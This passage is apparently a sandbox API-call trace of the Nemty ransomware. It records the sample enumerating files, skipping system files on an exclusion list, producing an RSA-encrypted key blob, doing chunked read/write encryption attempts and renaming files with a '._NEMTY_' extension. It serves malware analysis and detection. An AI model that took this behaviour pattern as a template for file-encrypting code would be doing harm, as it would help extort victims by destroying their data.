lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.453] CloseHandle (hObject=0xffffffff) returned 0 [0164.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0164.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0164.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_thunderstorm.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_thunderstorm.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_thunderstorm.png._nemty_kgobjgd_")) returned 0 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.454] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ef72c7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="grayStateIcon.png", cAlternateFileName="")) returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2=".") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="..") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="...") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="windows") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="rsa") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="ntldr") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="IO.SYS") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="boot.ini") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="boot.ini") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="ntuser.dat") returned -1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="desktop.ini") returned 1 [0164.454] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="CONFIG.SYS") returned 1 [0164.455] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="RECYCLER") returned -1 [0164.455] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0164.455] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="bootmgr") returned 1 [0164.455] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="programdata") returned -1 [0164.455] lstrcmpiW (lpString1="grayStateIcon.png", lpString2="appdata") returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grayStateIcon.png", lpUsedDefaultChar=0x0) returned 17 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grayStateIcon.png", lpUsedDefaultChar=0x0) returned 17 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grayStateIcon.png", lpUsedDefaultChar=0x0) returned 17 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grayStateIcon.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grayStateIcon.png", lpUsedDefaultChar=0x0) returned 17 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0164.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0164.455] Sleep (dwMilliseconds=0x5) [0164.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15ad8550, dwHighDateTime=0x1d561e8)) [0164.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15ad8550, dwHighDateTime=0x1d561e8)) [0164.469] GetLastError () returned 0x5 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.469] GetLastError () returned 0x5 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.469] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.469] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.469] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0164.469] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="Mj5H5Rsr2YrRHLLiPOfGdfD1JPFaZ+s1A0g+RBX9vP24JNjBxv32IEA86V1ru5JE\r\nj8sNbKI9/1JANbGCTM4wp4fxsQMFW+gNgMphoNWNDSH+44Ywk+Bqu8yhnspFnJmU\r\noiqw5Up/zvDr3yvTGQtnr1X3m7L5kwYax/Mvyau+vimkm/tpW72U0/JI9/0iFa5B\r\nEjrkMz3rzh+yhIR/eedm9TpKqnl3h8I9lbjiAmNWCW4JgWThUBYDZNcOPFJVQslx\r\nosErhA5tmemtluModVHXLLbjPmLwvZv5tsV2VHdUElVsjqJLJXjyAgV6h3brV9C9\r\nYVM/IOh67EJD6f6Rp2kTZQ==\r\n", pcchString=0x653e91c) returned 1 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.469] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\graystateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.469] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.576] CloseHandle (hObject=0xffffffff) returned 0 [0164.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0164.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0164.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0164.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0164.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\grayStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\graystateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\grayStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\graystateicon.png._nemty_kgobjgd_")) returned 0 [0164.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 